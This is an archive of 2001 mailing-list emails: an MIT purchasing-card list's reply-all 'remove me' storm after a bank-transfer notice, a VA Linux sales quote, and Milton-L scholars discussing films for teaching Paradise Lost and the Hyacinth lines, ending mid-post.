for MBNA to acquire First Union's consumer and commercial >>credit card businesses. MBNA acquired First Union's credit card >>portfolio as >>of June 30, 2000. What this means to MIT is that MBNA will be the new >>providing bank for our VIP Purchasing Card. Although the sale was announced >>last summer, the actual conversion to MBNA will not take place until June >>2001. >> >> >> >> MBNA is a proven leader in the credit card business and this >> portfolio sale >>should be a seamless transition to MIT. MBNA promises to continue >>providing us >>with the same high level of service that we are currently receiving. >> >> >> >> This change should not affect the use of your card. You will not have to >>replace your existing card, which will remain valid through August of 2003. >> >> >> >> You will receive shortly a notice from First Union regarding a Notice of >>Change in Terms. First Union is required to send this notice to all >>cardholders directly, even though individuals are not responsible for payment >>under the MIT agreement. >> >> >> >> As the conversion date approaches, we will keep you updated regarding any >>changes that may affect you as a cardholder. >> >> >> >> If you have any questions please feel free to call me or type to >>vipcard@mit.edu. >> >> >> >> Stephanie Bromander >> >> VIP Administrator >> >> >> >> romander@mit.edu >> >> E19-370 253-8366 >> >> >> > > >Jennifer Holder >Admin. Assistant, LIGO Project >MIT / Center for Space Research >175 Albany Street, NW17-161 >Cambridge, MA 02139 > >ph. 617-253-4824 >fax 617-253-7014 > > ",0,1 Yuki Koyama ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 10:51:41 -0400",VISA CARD UPDATE,"Please keep me off this particular list, too. Thanks, Yuki Koyama ",0,0 Michail Bletsas ,Jenny Crays ,"Wed, 11 Apr 2001 10:52:29 -0400",Re: Take me off the list,"To all the VIP card holders who are spaming the whole list asking to be removed: Why are you doing this? M. P.S.> I know I am doing the same but I have erased the previous messages and I can't respond to the offenders ;-( ",0,0 Hilda Harris-Ransom ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 10:55:15 -0400",Re: VISA CARD UPDATE,"Please remove me from this list also. Thx. Hilda -- Hilda Harris-Ransom Department of Biology, 68-150a Massachusetts Institute of Technology 77 Massachusetts Avenue Cambridge, MA 02139 Phone: 617-253-9395 Fax: 617-253-8699 E-mail: hharris@mit.edu ",0,0 """Liev K. Aleo"" ",VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 10:53:07 -0400",,"My email box is getting flooded! Please remove me from the list. Liev K. Aleo Assistant to Emanuel Sachs in the Lab for Manufacturing and Productivity at The Massachusetts Institute of Technology ********************************************************** (617) 258-5620 Telephone (617) 253-0209 Fax liev@mit.edu ",0,0 Richard Berlin ,"Yuki Koyama , VIPCARDHOLDERS@mit.edu","Wed, 11 Apr 2001 10:58:46 -0400",Re: VISA CARD UPDATE,"ditto Rich Berlin At 10:51 AM 04/11/2001 -0400, Yuki Koyama wrote: >Please keep me off this particular list, too. >Thanks, Yuki Koyama > > > > ",0,0 """Rachel H. Batista"" ",VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:01:18 -0400",Remove me too please,"I would also like to be removed, please. thanks. ",0,0 Sherry Lassiter ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:02:15 -0400",Please take me off of this list,"Thanks... ",0,0 Marie Shanahan ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:01:13 -0400",Visa Card Update,"Please remove me from this list. Thank you, Marie Shanahan ******************************************** Marie Shanahan Administrative Assistant Residential Life and Student Life Programs Office Massachusetts Institute of Technology 77 Massachusetts Avenue Cambridge, MA 02139 W20-549 Tel: (617) 253-4051 Fax:(617) 253-8391 E-mail: marie@mit.edu ",0,0 Fran Marrone ,vipcardholders@mit.edu,"Wed, 11 Apr 2001 11:01:25 -0400",Take me off the list!!,"Please take me off this general information box !! Fran Marrone Administrative Assistant to Professors Boppe, Hastings, Soutis, and Steven Dorfman, Hunsaker Visiting Professor MIT Dept. of Aeronautics and Astronautics 33 - 409 Cambridge, MA 02139 t: 617/ 253 - 4885 f: 617/ 258 - 0863 email: franm@mit.edu ",0,0 """G. Algarin"" ",VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:02:22 -0400",Time out...,"I think we all need to step back and collect ourselves... The distribution list is a valuable tool for relaying information to us VIP cardholders from our administrator... Unfortunately, what has transpired this morning is more of a style issue than substance... Simply put, for all those who are interested in replying to Ms. Bromander, disable your ""Reply To All"" feature in your e-mail software... This will prevent anyone who is not interested in receiving your comments from receiving them... This is, of course, with the understanding of the original intent of the first reply... I think, maybe, a forum should be created for those of us who wish to comment can do so freely and it should also be recognized that this distribution list is not that forum... Respectfully submitted... Greg Algarin",0,0 Luk Van Parijs ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:01:01 -0400",please remove me from the list," Luk Van Parijs Center for Cancer Research Massachusetts Institute of Technology E17-130 77 Massachusetts Avenue Cambridge, MA 02139 Phone: 617-452-2669 Fax: 617-258-6172 Email: lukvp@mit.edu ",0,0 Peggy Udden ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 10:58:00 -0400",,"please remove me from this list!! -- Peggy Udden Massachusetts Institute of Technology Department of Aeronautics & Astronautics 77 Massachusetts Avenue, Building 33 room 412 Cambridge, MA 02139-4307 Phone:(617)258-7338 Fax:(617)258-0863 http://web.mit.edu/viking/www/vikingudden.html /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/ Fear less, hope more; Eat less, chew more; Whine less, breathe more; Talk less, say more; Hate less, love more; and all good things will be yours. --Swedish Proverb ",0,1 Joan Wood ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:04:14 -0400",why not respond to Stephanie Bromander,"If you want to be taken off the list, I would suggest you respond directly to Stephanie at: romander@MIT.EDU Otherwise we are just receiving all your requests to unsubscribe on the general list. ",0,0 Debie Thomas ,vipcardholders@mit.edu,"Wed, 11 Apr 2001 11:08:11 -0400",please take me off the list!," ************************************************************************************************************ Debie Thomas Center for eBusiness, Manager MIT Sloan-School of Management 50 Memorial Drive E53-316 Cambridge, MA 02142-1347 (617) 253-6610 eFax (781)735-0463 ",0,0 Petr Swedock ,hharris@mit.edu,"Wed, 11 Apr 2001 11:06:22 -0400",Please keep me on this list.,"And everyone else... I'd miss them so, and I just know they won't keep in touch. Nor would I get my fix of gratuitous spam, which would indeed be a shame. Peace, Petr -- Systems, Networks and Gadgets, done with Artful Intelligence -<>-<_>-<__>-<_>-<>- Policy: ASCII/text attchmnts alway read. PDF maybe read. Others, by neccesity, may be ignored. Don't take it personally, it's a time issue.",0,0 """Julie B. Norman"" ",VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:07:47 -0400",list," Please remove me from this list. Thank you. Julie B. Norman Associate Dean for Academic Resources and Programming MIT Academic Resource Center, Rm. 7-103 Cambridge, MA 02139 617/253-6771; FAX: 617/258-8816 ",0,0 Claudia Forero ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:09:04 -0400",take me off your list,"Please take me off your list. Many thanks, Claudia ___ Claudia Forero ===== MIT Sloan School ||||||| E53-350 ======= 30 Wadsworth Street Cambridge, MA 02142 617-258-5583 617-258-7579 (FAX) foreroca@mit.edu ",0,0 Taylore Dawn Kelly ,"""Rachel H. Batista"" ","Wed, 11 Apr 2001 12:12:51 -0400",Re: Remove me too please," This stinks. Please remove me as well Taylore Dawn Kelly MIT 35-431 77 Massachusetts Avenue Cambridge, MA 02139 617-258-0800 tkelly@truth.mit.edu On Wed, 11 Apr 2001, Rachel H. Batista wrote: > I would also like to be removed, please. thanks. > ",0,0 Chi-Kang Li ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:06:01 -0400",Please take me off the list.,"Please take me off the list. Thank you. ",0,0 """Dineen M. Doucette"" ",VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:05:58 -0400",e-mail,"E-Mail Stephanie directly romander@MIT.EDU not VIPCARDHOLDERS@MIT.EDU to be removed. ",0,0 Jay ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:14:11 -0400",take me off your list,"Please take me off your list. Jay Kesner -- ******************************************************************* Jay Kesner Senior Scientist Plasma Science and Fusion Center Email: kesner@psfc.mit.edu MIT Building NW17-213 Phone: 1-617-253-8662 175 Albany St. Fax: 1-617-253-0448 Cambridge, MA 02139 USA LDX http://www.pfc.mit.edu/ldx/ ",0,1 Linda Bragman ,vipcardholders@mit.edu,"Wed, 11 Apr 2001 11:16:27 -0400",List," Please take me off this list. thanks ",0,0 Ulrich Becker ,Yuki Koyama ,"Wed, 11 Apr 2001 11:23:24 -0400",Re: VISA CARD UPDATE,"Please keep me of that list. Ulrich Becker ",0,0 Eduardo Gonzalez ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:22:50 -0400",Re: VISA CARD UPDATE,"Everybody keeps getting emails because everybody keeps replying. We will stop getting messages the moment we all stop replying or sending messages to VIPCARDHOLDERS@mit.edu. DO NOT REPLY TO THIS, do NOT use the ""Reply"" button on your Eudora to ask to be removed from anything. Or do NOT use the ""Reply to All"" button either! Everytime you send an email reply to the address VIPCARDHOLDERS@mit.edu you are sending it to all of us (and I think that's about 1500 users!). If your inbox is getting flooded just delete the messages, it really doesn't take that long to hit ""Delete"". Please just be patient, and refrain from replying, even if you're really mad and overwhelmed by the flood of messages. And if you want to reply to me, do so directly at my email address, DO NOT reply to ""VIPCARDHOLDERS@mit.edu"". AGAIN, DO NOT reply to VIPCARDHOLDERS@mit.edu. If you need to reply to me do so at my address: eduardog@mit.edu. Create an email from scratch, to avoid further SPAM. (If you're at MIT you're probably using Eudora. To create a new message, go to Message, New Message. To do this click the ""Message"" word on your menu, and then click ""New Message"". You can also use the CTRL-N shortcut. Sorry I don't have detailed instructions for users on a Mac. But its really not that hard to create a new message). I doubt you really want to be removed from this list. This list is meant to be used by Stephanie Bromander who is the VISA coordinator at MIT to send us important messages regarding our credit card, why would you want to be removed? She rarely sends mass messages, and the ones she does are important and there is no better way for her to quickly keep us informed of changes on our credit card. Again, do not reply, or send emails to VIPCARDHOLDERS. I hope this message is enough to contain the redundant ""please remove me"" messages. If you still want to be removed from this list, go to https://ca.mit.edu:445/moira/ and do not contact me if you have trouble accessing it or doing stuff on that page. At 10:58 AM 04/11/2001, you wrote: >ditto > >Rich Berlin > >At 10:51 AM 04/11/2001 -0400, Yuki Koyama wrote: >>Please keep me off this particular list, too. >>Thanks, Yuki Koyama >> >> >> >> .............................................................. Eduardo Gonzalez / Network Administrator Computer Resources Office / Department of Architecture / MIT 77 Massachusetts Avenue / Room 3-411 Cambridge MA 02139-4307 617.452.3720 / fax: 617.258.5225 eduardog@mit.edu ",0,1 Hilda Harris-Ransom ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:25:35 -0400",Visa Update,"Please remove my name from this list. Thx. Hilda -- Hilda Harris-Ransom Department of Biology, 68-150a Massachusetts Institute of Technology 77 Massachusetts Avenue Cambridge, MA 02139 Phone: 617-253-9395 Fax: 617-253-8699 E-mail: hharris@mit.edu ",0,0 Patti Fitzpatrick ,"Michael Capell , ""Stanley B. Gershwin"" ","Wed, 11 Apr 2001 11:30:44 -0400",Re: VISA CARD UPDATE,"Dear Stephanie, It would be very helpful if the verifiers also receive this information. Patti At 09:32 AM 4/11/2001, Michael Capell wrote: >Dear Stephanie: > I would like to add my stong support to the addition of this >feature. Typically I have several charges in play at once, and >it is never clear which particular charge has arrived. This would >be a big step forward to keeping things in order. > Mike. > > >On Tue, 10 Apr 2001, Stanley B. Gershwin wrote: > > > Dear Ms. Brimander. > > > > Thanks for the information. As a result of this change, would it now be > > possible to get any more specific information in real time about our > > credit card charges, other than that there was a charge? > > > > > > > > Stanley B. Gershwin > > > > Associate Director > > Laboratory for Manufacturing and Productivity > > > > Senior Research Scientist > > Department of Mechanical Engineering > > Massachusetts Institute of Technology > > 35-331 > > 77 Massachusetts Avenue > > Cambridge, Massachusetts 02139-4307 > > 617-253-2149 > > 617-258-5972 FAX > > gershwin@mit.edu > > http://web.mit.edu/manuf-sys/www > > > > > > On Tue, 10 Apr 2001, Stephanie Bromander wrote: > > > > > Dear VIP Cardholders: > > > > > > MBNA Corporation and First Union announced recently that they have > entered into an agreement for MBNA to acquire First Union's consumer and > commercial credit card businesses. MBNA acquired First Union's credit > card portfolio as of June 30, 2000. What this means to MIT is that MBNA > will be the new providing bank for our VIP Purchasing Card. Although the > sale was announced last summer, the actual conversion to MBNA will not > take place until June 2001. > > > > > > MBNA is a proven leader in the credit card business and this > portfolio sale should be a seamless transition to MIT. MBNA promises to > continue providing us with the same high level of service that we are > currently receiving. > > > > > > This change should not affect the use of your card. You will not > have to replace your existing card, which will remain valid through > August of 2003. > > > > > > You will receive shortly a notice from First Union regarding a Notice > of Change in Terms. First Union is required to send this notice to all > cardholders directly, even though individuals are not responsible for > payment under the MIT agreement. > > > > > > As the conversion date approaches, we will keep you updated regarding > any changes that may affect you as a cardholder. > > > > > > If you have any questions please feel free to call me or type to > vipcard@mit.edu. > > > > > > Stephanie Bromander > > > VIP Administrator > > > > > > romander@mit.edu > > > E19-370 253-8366 > > > > > > > > >-- >-- Mike Capell >-- Tel: +41(22)767-4706 CERN EP/LE J19710 >-- GSM: +41(79)201-0172 CH 1211 Geneva 23 >-- Fax: +41(22)767-7940 Switzerland >-- URL=http://capell.home.cern.ch/capell/ >-- AMS Homepage URL=http://ams.cern.ch/ >-- --<<-@ --<<-@ --<<-@ --<<-@ --<<-@ --<<-@ Patricia A. Fitzpatrick Permissions & Reprints Manager MIT Sloan Management Review Massachusetts Institute of Technology 77 Massachusetts Avenue, Rm. E60-100 Cambridge, MA 02139-4307 Telephone: (617) 258-7485 Facsimile: (617) 258-9739 E-Mail: pfitzpat@mit.edu http://www.mit-smr.com @->>-- @->>-- @->>-- @->>-- @->>-- @->>--",0,1 Bil Sanford ,"Danielle Delgado , VIPCARDHOLDERS@mit.edu","Wed, 11 Apr 2001 10:31:16 -0500",Re: please take me off the list,"yikes! Take me off this list!!! Thanks -bil ",0,0 Christine Dunn ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:37:08 -0400",,"Please take me off the list Christine Dunn Christine Dunn Associate Marketing Manager The MIT Press Five Cambridge Center Cambridge, MA 02142-1493 t 617.253.8838 f 617.253.1709 cdunn@mit.edu http://mitpress.mit.edu ",0,1 May Maffei ,To:;,"Wed, 11 Apr 2001 11:40:07 -0400",Re: VISA CARD UPDATE," Please remove me from your list, I am not interested in these messages. Thank you. ",0,0 Peggy Udden ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:40:38 -0400",stop sending these messages!,"Can't you all see that your emails are just coming back at you! -- Peggy Udden Massachusetts Institute of Technology Department of Aeronautics & Astronautics 77 Massachusetts Avenue, Building 33 room 412 Cambridge, MA 02139-4307 Phone:(617)258-7338 Fax:(617)258-0863 http://web.mit.edu/viking/www/vikingudden.html /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/ Fear less, hope more; Eat less, chew more; Whine less, breathe more; Talk less, say more; Hate less, love more; and all good things will be yours. --Swedish Proverb ",0,1 Sharon Benedict ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:47:49 -0400",PAY ATTENTION,"Come on, people! We work for one of the most prestigious institutions in the world and we can't tell the difference between reply all & replying to the proper address?! This is ridiculous. Sharon Benedict MIT Visual Arts Program 617/253-5229 slb@mit.edu ",0,0 """Rosalind H. Williams"" ",VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:55:59 -0400",LIST,"Please take me off this list. Rosalind Williams Rosalind Williams Metcalfe Professor of Writing Program in Science, Technology, and Society Program in Writing and Humanistic Studies Room E51-163B Massachusetts Institute of Technology 77 Massachusetts Avenue Cambridge, Massachusetts 02139 617-253-2847 ",0,0 Barbara Blanchard ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:50:54 -0400",,"please remove me from your list! Barbara Blanchard MIT Biology 68-347 ph: (617) 253-3707 Cambridge, Ma. 02139 FAX: (617)253-2156",0,0 Peggy Udden ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 11:54:51 -0400",,"What concerns me most that that these idiots have credit cards! -- Peggy Udden Massachusetts Institute of Technology Department of Aeronautics & Astronautics 77 Massachusetts Avenue, Building 33 room 412 Cambridge, MA 02139-4307 Phone:(617)258-7338 Fax:(617)258-0863 http://web.mit.edu/viking/www/vikingudden.html /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/ Fear less, hope more; Eat less, chew more; Whine less, breathe more; Talk less, say more; Hate less, love more; and all good things will be yours. --Swedish Proverb ",0,1 Elizabeth S Durant ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 12:02:03 -0400",Please take me off the list.,"Thank you. -------------------------------------------------------------------- Elizabeth S. Durant Associate Director, Reunions and Class Events MIT Alumni Association, Room 12-090 77 Massachusetts Avenue Cambridge, MA 02139 phone: 617-253-8232 fax: 617-258-6210 e-mail: edurant@mit.edu http://web.mit.edu/alum ",0,1 """Gill A.. Pratt"" ",Peggy Udden ,"Wed, 11 Apr 2001 12:06:07 -0400",RE: ,"Peggy - We may have credit cards, but we are not all idiots. The problem here is that most mail programs show you mail oldest message first. In other words, when someone (like you) says ""don't reply to this big mailing list"", that message doesn't get read before older messages elicit a ""Please take me off this list"" reply. The other problem is that the machine that handles this mailing list hasn't been set up to only forward mail from certain VIP card administrators and reject all others. Instead, it is forwarding mail from anyone. Fixing either of these two problems (the last fix being the more practical) would likely stop this ""mail storm"" from continuing. In the mean time, just delete the messages that are bound to continue to arrive, and realize that it isn't the author's fault. I promise to not send anything else to this mailing list. Best, Gill Pratt -----Original Message----- From: Peggy Udden [mailto:viking@mit.edu] Sent: Wednesday, April 11, 2001 11:55 AM To: VIPCARDHOLDERS@mit.edu Subject: What concerns me most that that these idiots have credit cards! -- Peggy Udden Massachusetts Institute of Technology Department of Aeronautics & Astronautics 77 Massachusetts Avenue, Building 33 room 412 Cambridge, MA 02139-4307 Phone:(617)258-7338 Fax:(617)258-0863 http://web.mit.edu/viking/www/vikingudden.html /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\ /\\/\\/\\/\\/\\/ Fear less, hope more; Eat less, chew more; Whine less, breathe more; Talk less, say more; Hate less, love more; and all good things will be yours. --Swedish Proverb ",0,1 Jocelyn DeWitt ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 12:26:41 -0400",VISA UPDATE," Please remove my name on the list Jocelyn Jocelyn S. DeWitt Administrative Assistant to Prof. Patera and Anddie Chan Center for Singapore-MIT Alliance 77 Massachusetts Avenue Building 8-407 Cambridge, MA 02139 Telephone #: (617) 258-6767 Fax #: (617) 258-6886 ",0,0 Peggy Udden ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 12:30:58 -0400",,"I am sorry if I offended anyone.... I have enough email as it is to contend with on a daily basis (as I am certain you do), and this morning was just non-stop riffraff. I have work to do and this situation was getting out of hand. If the fault is in the system than something must be done to improve the technology. This is the last you will hear from me. Have a nice day and I truly don't believe that we are idiots. We could not be here if we were. -- Peggy Udden Massachusetts Institute of Technology Department of Aeronautics & Astronautics 77 Massachusetts Avenue, Building 33 room 412 Cambridge, MA 02139-4307 Phone:(617)258-7338 Fax:(617)258-0863 http://web.mit.edu/viking/www/vikingudden.html /\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/ Fear less, hope more; Eat less, chew more; Whine less, breathe more; Talk less, say more; Hate less, love more; and all good things will be yours. --Swedish Proverb ",0,1 Lynn Kaplan ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 12:43:40 -0400",take me off this list!!,"Please remove lynnk@mit.edu off the list. thanks!! Lynn Kaplan - NY Account Manager Technology Review phone: 212-983-0565 e-mail: lynnk@mit.edu www.technologyreview.com It's all about the technology!! ",0,0 Zarixia Zavala-Ruiz ,"""Liev K. Aleo"" , VIPCARDHOLDERS@mit.edu","Wed, 11 Apr 2001 12:55:17 -0400",Re: ,"Remove me from the list too. Zarixia At 10:53 AM 4/11/01 -0400, Liev K. Aleo wrote: >My email box is getting flooded! Please remove me from the list. > > > > >Liev K. Aleo >Assistant to Emanuel Sachs >in the Lab for Manufacturing and Productivity >at The Massachusetts Institute of Technology >********************************************************** >(617) 258-5620 Telephone >(617) 253-0209 Fax >liev@mit.edu > ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ Zarixia Zavala-Ruiz Ph.D. Student, Chemistry Department Massachusetts Institute of Technology 77 Massachusetts Avenue Building 56, Room 522 Cambridge MA 02139 (617) 258-6268 zarixia@mit.edu ~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~ ",0,0 Steven L Smith ,vipcardholders@mit.edu,"Wed, 11 Apr 2001 13:10:53 -0400","Read, then resp"," did IQ points just drop several levels, I do not think Debbi should have to devote one iota of time to manually configure people off this list that cannot read. specifically it has been stated to stop ""reply all"" do not reply to vipcardholders@mit.edu and the remove function is at, https://ca.mit.edu:445/moira/ can it be simpler? sls ",0,1 Emanuel Sachs ,VIPCARDHOLDERS@mit.edu,"Wed, 11 Apr 2001 13:27:28 -0400","Take me off, plse"," Emanuel Sachs Fred Fort Flowers and Daniel Fort Flowers Professor of Mechanical Engineering M.I.T. Room 35-136 77 Massachusetts Avenue Cambridge, MA 02139 Tel: 617.253.5381 Fax: 617.253.0209 email: sachs@mit.edu ",0,0 Paul Kidd ,ggilfoyl@richmond.edu,"Wed, 11 Apr 2001 14:37:01 -0400",New LOWER Quote for VA Linux Systems," Gerard, Attached is a revised quote from VA Linux Systems. We would value you as a customer and have added additional discount to illustrate this. I've also attached a product testimony from the Stanford Linear Accelerator Center and its view of VA Linux and Cluster Management via VACM from VA Linux. Regards Paul Kidd The Stanford Linear Accelerator Center (SLAC) selected VA Linux to provide a cluster of 280 1U servers and deployed VA Linux 100 systems to provide systems management. As Chuck Boeheim, assistant director of SLAC Computing Services, explained, “Remote management is critical to us, operating over a thousand servers in a lights-out environment. VA Linux had the most complete cluster management package that we evaluated. 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Date: Mon, 16 Apr 2001 19:03:32 Mime-Version: 1.0 Content-Type: text/html Message-ID: Sender: owner-milton-l@richmond.edu Precedence: bulk Reply-To: milton-l@richmond.edu Far from a great film but interesting in its borrowings is ""Devil's Advocate"" with Al Pacino playing the Devil in the guise of lawyer named John Milton. I would think students would get a kick out of the actors and its effects but the notions of free will and sin is an interesting one. Sarah Cohen >From: Kimberly Latta >Reply-To: milton-l@richmond.edu >To: milton-l@richmond.edu >Subject: Re: Paradise Lost and films? >Date: Fri, 13 Apr 2001 09:47:47 -0400 > >How about that crazy film that came out recently--what was it called--about >the two fallen angels who are trying to slip back into heaven through a >loophole, and Alannis Morissette as God? I thought it borrowed from Milton >heavily and shed some interesting light on why we tend to sympathize with >Satan in the poem. >Kimberly > > > From: ""Burbery, Timothy"" > > Reply-To: milton-l@richmond.edu > > Date: Thu, 12 Apr 2001 17:38:47 -0400 > > To: ""'milton-l@richmond.edu'"" > > Subject: Paradise Lost and films? > > > > > > Dear List: > > > > I'm wondering if anyone can recommend any films, new or old, that can help > > illuminate Paradise Lost in the classroom. Next week, I'll show my students > > a portion of Triumph of the Will (1935), with Hitler presiding over the > > Nuremburg rallies, as a rough analogue of Satan summoning the fallen angels > > in Book 1. I've also considered having them view the scenes from Alexander > > Nevsky that Eisenstein supposely based on the War in Heaven, though this is > > an old film and I don't have a good print of it. > > > > Are there other films you could recommend that contain thematic or visual > > motifs that correspond, somewhat, to scenes from PL? > > > > Thanks, > > > > Tim Burbery > > Marshall University > > > > > > > ---------- Get your FREE download of MSN Explorer at http://explorer.msn.com From: jfleming@sfu.ca Sent: Wednesday, April 18, 2001 9:54 AM To: milton-l@richmond.edu Subject: Re: gay angels On Tue, 17 Apr 2001 16:26:44 -0400 milton-l@richmond.edu wrote: > At 07:56 AM 4/16/01 -0700, you wrote: > > How do we know it is travestied? Because the angel, ""inhabitant with > > God,"" _blushes_. > >JD Fleming > > I have never been able to understand how easily so many scholars > convert > ""the Angel with a smile that glow'd > Celestial rosie red, Loves proper hue"" [VIII, 618-19] > > into a ""blush,"" often with discussion that develops the idea that Raphael > is embarrassed by Adam's forthrightness (see, for example, Roy's note in > the Riverside). But it is a _smile_ (hardly the usual mark of shame or > discomfort) and, what is more, the color is called _celestial_ and > identified as the right color for Love. So -- the celestial rosy red refers to the excellence of Raphael's lipstick? JDF From: John Leonard [jleonard@uwo.ca] Sent: Thursday, April 19, 2001 7:07 AM To: milton-l@richmond.edu <3ADC8C76.4DDD08DC@stfx.ca> Subject: more on Hyacinth Date: Wed, 18 Apr 2001 14:09:17 -0400 MIME-Version: 1.0 Sender: owner-milton-l@richmond.edu Precedence: bulk Reply-To: milton-l@richmond.edu ----- Original Message ----- From: ""Derek Wood"" To: Sent: Tuesday, April 17, 2001 2:33 PM Subject: Re: gay angels Derek Wood, rebutting ""Orpheus,"" reminds us that ""pride"" in 17th-century English could mean ""sexual desire"" (male or female). I would add that some instances occur in a homosexual context, as in Marlowe's *Hero and Leander*, when Neptune is excited by the sight of naked Leander swimming the Hellespont: With that he stripped him to the ivory skin And crying. ""Love I come!"" leapt lively in. Whereat the sapphire-visaged god grew proud. And made his capering Triton sound aloud. (637-40) ""Proud"" there surely hints at Neptune's erection, even though stormy seas might also be called ""proud"" (OED). That said, let me say at once that I do NOT think that ""pride of Spartan land"" in Fair Infant is nearly so lewd and lavish. It does not invite us to visualize a tumescent Apollo or Hyacinthus. What makes Milton's lines suggestive, I believe, is their conspicuous absence of any shame or embarrassment in celebrating male beauty, and in celebrating (nostalgically) a culture that was uninhibited in its public display and exaltation of such beauty. Yes, of course Milton thought of ""sodomy"" as a crime and a sin. I have no quarrel with Larry about Milton's conscious intentions. Where we part company is on the question of whether the mythical allusion takes on a life of its own--one that carries Milton away (though not all the way). Larry's comment is most helpful in the way it focusses the issue. Larry (answering me) writes: '""Hyacinthus is the pride of Spartan land in the sense of being Sparta's most beautiful youth. Does anyone seriously doubt this?"" No, I do not doubt this. What I doubt is that it points toward a secret homosexual reference and for the reasons I have given. If, in the midst of a poem about an infant's tragic death we suddenly are to have inserted into our heads even a slight picture of homosexual activity, I say that that is poetically inconsistent and not at all a necessary extrapolation from the myth Milton is using to other purpose.' I agree with Larry that Milton is not making ""a secret homosexual reference."" Milton is not dropping a coded message for those in the know. He is not (Larry is right to insist) giving us ""even a slight picture of homosexual activity."" But he *is* giving us a not-so-slight picture of homosexual *love.* The question is whether this picture is (in Larry's terms) ""poetically inconsistent."" Does it stand out from its context, attracting attention, or does it blend innocuously in? I have always found the Hyacinth lines incongruous in this poem. Larry disagrees. He thinks Hyacinth perfectly appropriate in a poem ""about an infant's tragic death""--even though Hyacinthus was not an infant. Larry certainly has a case. An allusion to Hyacinthus need not be out of place in an elegy that begins ""O fairest flower."" But Milton does not use the myth in quite the way we might expect. He does not emphasize flowery pathos. He never mentions the AI AI on the petals. He gets distracted. Instead of petals, we hear of proud beauty, proud Sparta, and Apollo's ""dearly loved mate."" When we do come back to the flower and the infant, the transition is almost comically pat, like an afterthought: Yet art thou not inglorious in thy fate; For so Apollo with unweeting hand Whilom did slay his dearly-loved mate Young Hyacinth born on Eurotas' strand Young Hyacinth, the pride of Spartan land; But then transformed him to a purple flower Alack that so to change thee winter had no power. The simile takes on a life of its own. It stands out. Maybe this can be explained simply by Milton's fascination with, and love for, ancient Greece. But then Milton's love of Greece is itself not unrelated to erotic sensibilities, whether these involve angelic ephebes (th'unarmed youth of Heav'n, Severe in youthful beauty) or lovely women surpassing Delia's self in nymph-like step and goddess-like deport. The question arises: is Milton's allusion to ""Young Hyacinth"" tamely consistent with 17th-century decorum, or is it unusual? Are references to Hyacinthus common in the poetry of this period? And if they are, do they work like Milton's? I cannot pronounce confidently on this, but I have had a quick look at the Chadwyck Healey database for poems published between 600 and 1700. There are 27 hits for ""Hyacinthus"", 51 for ""Hyacinth."" Most of these are references to the flower without any mention of the youth. Those that do mention the youth, usually mention Apollo, but do so flatly, in a catalogue of metamorphosed lovers. William Browne (Britannia's Pastorals, II 425) is typical: Saturne his Rhea; Jupiter had store, As I�, Leda, Eur�pa, and more; Mars entred Vulcans bed; pertooke his ioy: Phoebus had Daphne, and the sweet-fac'd Boy; Venus, Adonis; and the God of Wit In chastest bonds was to the Muses knit The ""sweet-fac'd Boy"" is identified as Hyacinth in a marginal note. There is one notable precedent for Milton's lines--one which almost certainly prompted Milton's anaphora. It is Spenser, FQ III vi 45: And all about grew euery sort of flowre, To which sad louers were transformed of yore; Fresh Hyacinthus, Phoebus paramoure, And dearest love, Foolish Narcisse, that likes the watry shore, Sad Amaranthus, made a flowre but late, Sad Amaranthus, in whose purple gore Me seemes I see Amintas wretched fate, To whom sweet Poets verse hath giuen endlesse date. I have quoted the stanza as it was printed in 1609. That was when the truncated line was first printed. In 1590 and 1596 the stanza consisted of only eight lines. Does anyone know the textual history of this? Was a line removed for fear of 